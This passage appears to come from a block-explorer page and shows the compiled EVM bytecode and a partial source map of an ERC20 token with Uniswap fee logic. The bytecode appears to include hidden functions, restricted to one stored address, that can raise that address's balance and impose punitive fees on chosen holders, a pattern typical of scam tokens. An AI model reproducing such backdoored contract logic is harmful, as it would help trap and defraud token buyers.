3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c7c576064600384611c6f91906124a8565b611c799190612477565b90505b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611ce0576001600584611cd391906124a8565b611cdd9190612421565b90505b6000811115611da55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d389190612421565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d9c919061233c565b60405180910390a35b611db88184611b4f90919063ffffffff16565b9150509392505050565b6000808284611dd19190612421565b905083811015611e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0d906122bc565b60405180910390fd5b8091505092915050565b600081359050611e2f816128d9565b92915050565b600081519050611e44816128d9565b92915050565b600081359050611e59816128f0565b92915050565b600060208284031215611e7557611e74612735565b5b6000611e8384828501611e20565b91505092915050565b600060208284031215611ea257611ea1612735565b5b6000611eb084828501611e35565b91505092915050565b60008060408385031215611ed057611ecf612735565b5b6000611ede85828601611e20565b9250506020611eef85828601611e20565b9150509250929050565b600080600060608486031215611f1257611f11612735565b5b6000611f2086828701611e20565b9350506020611f3186828701611e20565b9250506040611f4286828701611e4a565b9150509250925092565b60008060408385031215611f6357611f62612735565b5b6000611f7185828601611e20565b9250506020611f8285828601611e4a565b9150509250929050565b60008060408385031215611fa357611fa2612735565b5b6000611fb185828601611e4a565b9250506020611fc285828601611e4a565b9150509250929050565b6000611fd88383611ff3565b60208301905092915050565b611fed81612548565b82525050565b611ffc81612536565b82525050565b61200b81612536565b82525050565b600061201c826123dc565b61202681856123ff565b9350612031836123cc565b8060005b838110156120625781516120498882611fcc565b9750612054836123f2565b925050600181019050612035565b5085935050505092915050565b6120788161255a565b82525050565b6120878161259d565b82525050565b612096816125af565b82525050565b60006120a7826123e7565b6120b18185612410565b93506120c18185602086016125e5565b6120ca8161273a565b840191505092915050565b60006120e2602383612410565b91506120ed8261274b565b604082019050919050565b6000612105602283612410565b91506121108261279a565b604082019050919050565b6000612128601b83612410565b9150612133826127e9565b602082019050919050565b600061214b602083612410565b915061215682612812565b602082019050919050565b600061216e602583612410565b91506121798261283b565b604082019050919050565b6000612191602483612410565b915061219c8261288a565b604082019050919050565b6121b081612586565b82525050565b6121bf81612590565b82525050565b60006020820190506121da6000830184612002565b92915050565b60006020820190506121f56000830184611fe4565b92915050565b60006040820190506122106000830185612002565b61221d6020830184612002565b9392505050565b6000602082019050612239600083018461206f565b92915050565b6000602082019050612254600083018461207e565b92915050565b60006020820190508181036000830152612274818461209c565b905092915050565b60006020820190508181036000830152612295816120d5565b9050919050565b600060208201905081810360008301526122b5816120f8565b9050919050565b600060208201905081810360008301526122d58161211b565b9050919050565b600060208201905081810360008301526122f58161213e565b9050919050565b6000602082019050818103600083015261231581612161565b9050919050565b6000602082019050818103600083015261233581612184565b9050919050565b600060208201905061235160008301846121a7565b92915050565b600060a08201905061236c60008301886121a7565b612379602083018761208d565b818103604083015261238b8186612011565b905061239a6060830185612002565b6123a760808301846121a7565b9695505050505050565b60006020820190506123c660008301846121b6565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061242c82612586565b915061243783612586565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561246c5761246b61264a565b5b828201905092915050565b600061248282612586565b915061248d83612586565b92508261249d5761249c612679565b5b828204905092915050565b60006124b382612586565b91506124be83612586565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124f7576124f661264a565b5b828202905092915050565b600061250d82612586565b915061251883612586565b92508282101561252b5761252a61264a565b5b828203905092915050565b600061254182612566565b9050919050565b600061255382612566565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125a8826125c1565b9050919050565b60006125ba82612586565b9050919050565b60006125cc826125d3565b9050919050565b60006125de82612566565b9050919050565b60005b838110156126035780820151818401526020810190506125e8565b83811115612612576000848401525b50505050565b6000600282049050600182168061263057607f821691505b60208210811415612644576126436126a8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6128e281612536565b81146128ed57600080fd5b50565b6128f981612586565b811461290457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e964504aadd107eb3cb3f7573f15c0b9baf3015b8c77b364b173dccdd203ceb864736f6c63430008070033
Deployed Bytecode
0x6080604052600436106101395760003560e01c806370a08231116100ab578063bc6eec401161006f578063bc6eec401461044d578063befc09ce1461048a578063c57a30d6146104b3578063c816841b146104f0578063dd62ed3e1461051b578063f2fde38b1461055857610140565b806370a08231146103405780638da5cb5b1461037d57806395d89b41146103a8578063a9059cbb146103d3578063b1b387041461041057610140565b806327c8f835116100fd57806327c8f835146102405780632f77377b1461026b578063313ce567146102825780633345611e146102ad5780634970623b146102ea5780634a74bb021461031557610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610581565b604051610167919061225a565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190611f4c565b610613565b6040516101a49190612224565b60405180910390f35b3480156101b957600080fd5b506101c2610631565b6040516101cf919061223f565b60405180910390f35b3480156101e457600080fd5b506101ed610657565b6040516101fa919061233c565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190611ef9565b610661565b6040516102379190612224565b60405180910390f35b34801561024c57600080fd5b5061025561073b565b60405161026291906121c5565b60405180910390f35b34801561027757600080fd5b5061028061075f565b005b34801561028e57600080fd5b50610297610b37565b6040516102a491906123b1565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190611e5f565b610b4e565b6040516102e19190612224565b60405180910390f35b3480156102f657600080fd5b506102ff610b6e565b60405161030c91906121e0565b60405180910390f35b34801561032157600080fd5b5061032a610b94565b6040516103379190612224565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190611e5f565b610ba7565b604051610374919061233c565b60405180910390f35b34801561038957600080fd5b50610392610bf0565b60405161039f91906121c5565b60405180910390f35b3480156103b457600080fd5b506103bd610c19565b6040516103ca919061225a565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f59190611f4c565b610cab565b6040516104079190612224565b60405180910390f35b34801561041c57600080fd5b5061043760048036038101906104329190611f8c565b610cca565b6040516104449190612224565b60405180910390f35b34801561045957600080fd5b50610474600480360381019061046f9190611e5f565b610d37565b6040516104819190612224565b60405180910390f35b34801561049657600080fd5b506104b160048036038101906104ac9190611f4c565b610d57565b005b3480156104bf57600080fd5b506104da60048036038101906104d59190611e5f565b610e9e565b6040516104e7919061233c565b60405180910390f35b3480156104fc57600080fd5b50610505610eb6565b60405161051291906121c5565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190611eb9565b610edc565b60405161054f919061233c565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a9190611e5f565b610f63565b005b60606001805461059090612618565b80601f01602080910402602001604051908101604052809291908181526020018280546105bc90612618565b80156106095780601f106105de57610100808354040283529160200191610609565b820191906000526020600020905b8154815290600101906020018083116105ec57829003601f168201915b5050505050905090565b60006106276106206110b5565b84846110bd565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600061066e848484611288565b506107308461067b6110b5565b61072b8560405180606001604052806028815260200161290860289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e16110b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166b9092919063ffffffff16565b6110bd565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6107676110b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb906122dc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b9190611e8c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109259190611e8c565b6040518363ffffffff1660e01b81526004016109429291906121fb565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190611e8c565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c2890612618565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5490612618565b8015610ca15780601f10610c7657610100808354040283529160200191610ca1565b820191906000526020600020905b815481529060010190602001808311610c8457829003601f168201915b5050505050905090565b6000610cbf610cb86110b5565b8484611288565b506001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2657600080fd5b600083905080831491505092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b80600911610def5780600482610d6d9190612421565b610d779190612421565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610de79190612421565b925050819055505b610dfa600182610cca565b15610e45576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e50600982610cca565b15610e9a5780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60086020528060005260406000206000915090505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6b6110b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fef906122dc565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111249061231c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561119d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111949061229c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161127b919061233c565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f0906122fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113609061227c565b60405180910390fd5b600b60149054906101000a900460ff1615611390576113898484846116cf565b9050611664565b600061139b30610ba7565b9050600b60149054906101000a900460ff161580156114045750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561141357611412816118a2565b5b61146583600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061154b5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61155f5761155a868686611b99565b611561565b835b90506115b581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611655919061233c565b60405180910390a36001925050505b9392505050565b60008383111582906116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa919061225a565b60405180910390fd5b50600083856116c29190612502565b9050809150509392505050565b600061175a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ef82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161188f919061233c565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118da576118d9612706565b5b6040519080825280602002602001820160405280156119085781602001602082028036833780820191505090505b50905030816000815181106119205761191f6126d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119c257600080fd5b505afa1580156119d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119fa9190611e8c565b81600181518110611a0e57611a0d6126d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a7530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110bd565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611afb959493929190612357565b600060405180830381600087803b158015611b1557600080fd5b505af1925050508015611b26575060015b611b2f57611b30565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611b9183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061166b565b905092915050565b600080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c0e576064600384611bfd91906124a8565b611c079190612477565b9050611c7d565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c7c576064600384611c6f91906124a8565b611c799190612477565b90505b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611ce0576001600584611cd391906124a8565b611cdd9190612421565b90505b6000811115611da55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d389190612421565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d9c919061233c565b60405180910390a35b611db88184611b4f90919063ffffffff16565b9150509392505050565b6000808284611dd19190612421565b905083811015611e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0d906122bc565b60405180910390fd5b8091505092915050565b600081359050611e2f816128d9565b92915050565b600081519050611e44816128d9565b92915050565b600081359050611e59816128f0565b92915050565b600060208284031215611e7557611e74612735565b5b6000611e8384828501611e20565b91505092915050565b600060208284031215611ea257611ea1612735565b5b6000611eb084828501611e35565b91505092915050565b60008060408385031215611ed057611ecf612735565b5b6000611ede85828601611e20565b9250506020611eef85828601611e20565b9150509250929050565b600080600060608486031215611f1257611f11612735565b5b6000611f2086828701611e20565b9350506020611f3186828701611e20565b9250506040611f4286828701611e4a565b9150509250925092565b60008060408385031215611f6357611f62612735565b5b6000611f7185828601611e20565b9250506020611f8285828601611e4a565b9150509250929050565b60008060408385031215611fa357611fa2612735565b5b6000611fb185828601611e4a565b9250506020611fc285828601611e4a565b9150509250929050565b6000611fd88383611ff3565b60208301905092915050565b611fed81612548565b82525050565b611ffc81612536565b82525050565b61200b81612536565b82525050565b600061201c826123dc565b61202681856123ff565b9350612031836123cc565b8060005b838110156120625781516120498882611fcc565b9750612054836123f2565b925050600181019050612035565b5085935050505092915050565b6120788161255a565b82525050565b6120878161259d565b82525050565b612096816125af565b82525050565b60006120a7826123e7565b6120b18185612410565b93506120c18185602086016125e5565b6120ca8161273a565b840191505092915050565b60006120e2602383612410565b91506120ed8261274b565b604082019050919050565b6000612105602283612410565b91506121108261279a565b604082019050919050565b6000612128601b83612410565b9150612133826127e9565b602082019050919050565b600061214b602083612410565b915061215682612812565b602082019050919050565b600061216e602583612410565b91506121798261283b565b604082019050919050565b6000612191602483612410565b915061219c8261288a565b604082019050919050565b6121b081612586565b82525050565b6121bf81612590565b82525050565b60006020820190506121da6000830184612002565b92915050565b60006020820190506121f56000830184611fe4565b92915050565b60006040820190506122106000830185612002565b61221d6020830184612002565b9392505050565b6000602082019050612239600083018461206f565b92915050565b6000602082019050612254600083018461207e565b92915050565b60006020820190508181036000830152612274818461209c565b905092915050565b60006020820190508181036000830152612295816120d5565b9050919050565b600060208201905081810360008301526122b5816120f8565b9050919050565b600060208201905081810360008301526122d58161211b565b9050919050565b600060208201905081810360008301526122f58161213e565b9050919050565b6000602082019050818103600083015261231581612161565b9050919050565b6000602082019050818103600083015261233581612184565b9050919050565b600060208201905061235160008301846121a7565b92915050565b600060a08201905061236c60008301886121a7565b612379602083018761208d565b818103604083015261238b8186612011565b905061239a6060830185612002565b6123a760808301846121a7565b9695505050505050565b60006020820190506123c660008301846121b6565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061242c82612586565b915061243783612586565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561246c5761246b61264a565b5b828201905092915050565b600061248282612586565b915061248d83612586565b92508261249d5761249c612679565b5b828204905092915050565b60006124b382612586565b91506124be83612586565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124f7576124f661264a565b5b828202905092915050565b600061250d82612586565b915061251883612586565b92508282101561252b5761252a61264a565b5b828203905092915050565b600061254182612566565b9050919050565b600061255382612566565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125a8826125c1565b9050919050565b60006125ba82612586565b9050919050565b60006125cc826125d3565b9050919050565b60006125de82612566565b9050919050565b60005b838110156126035780820151818401526020810190506125e8565b83811115612612576000848401525b50505050565b6000600282049050600182168061263057607f821691505b60208210811415612644576126436126a8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6128e281612536565b81146128ed57600080fd5b50565b6128f981612586565b811461290457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e964504aadd107eb3cb3f7573f15c0b9baf3015b8c77b364b173dccdd203ceb864736f6c63430008070033
Deployed Bytecode Sourcemap
3672:6399:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4966:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5629:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4359:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5243:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6180:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3931:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6676:461;;;;;;;;;;;;;:::i;:::-;;5152:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4140:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3896:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4474:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5351:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2748:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5057:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6501:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9321:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4197:39;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8975:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4243:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4407:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5478:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2962:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4966:83;5003:13;5036:5;5029:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4966:83;:::o;5629:161::-;5704:4;5721:39;5730:12;:10;:12::i;:::-;5744:7;5753:6;5721:8;:39::i;:::-;5778:4;5771:11;;5629:161;;;;:::o;4359:41::-;;;;;;;;;;;;;:::o;5243:100::-;5296:7;5323:12;;5316:19;;5243:100;:::o;6180:313::-;6278:4;6295:36;6305:6;6313:9;6324:6;6295:9;:36::i;:::-;;6342:121;6351:6;6359:12;:10;:12::i;:::-;6373:89;6411:6;6373:89;;;;;;;;;;;;;;;;;:11;:19;6385:6;6373:19;;;;;;;;;;;;;;;:33;6393:12;:10;:12::i;:::-;6373:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6342:8;:121::i;:::-;6481:4;6474:11;;6180:313;;;;;:::o;3931:81::-;;;:::o;6676:461::-;2885:12;:10;:12::i;:::-;2875:22;;:6;;;;;;;;;;:22;;;2867:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6721:35:::1;6778:42;6721:100;;6864:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6846:70;;;6925:4;6932:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6846:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6832:11;;:124;;;;;;;;;;;;;;;;;;6987:16;6969:15;;:34;;;;;;;;;;;;;;;;;;7045:4;7014:6;:28;7029:11;;;;;;;;;;;7014:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;7115:12;;7060:11;:26;7080:4;7060:26;;;;;;;;;;;;;;;:52;7095:15;;;;;;;;;;;7060:52;;;;;;;;;;;;;;;:67;;;;6710:427;6676:461::o:0;5152:83::-;5193:5;5218:9;;;;;;;;;;;5211:16;;5152:83;:::o;4140:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;3896: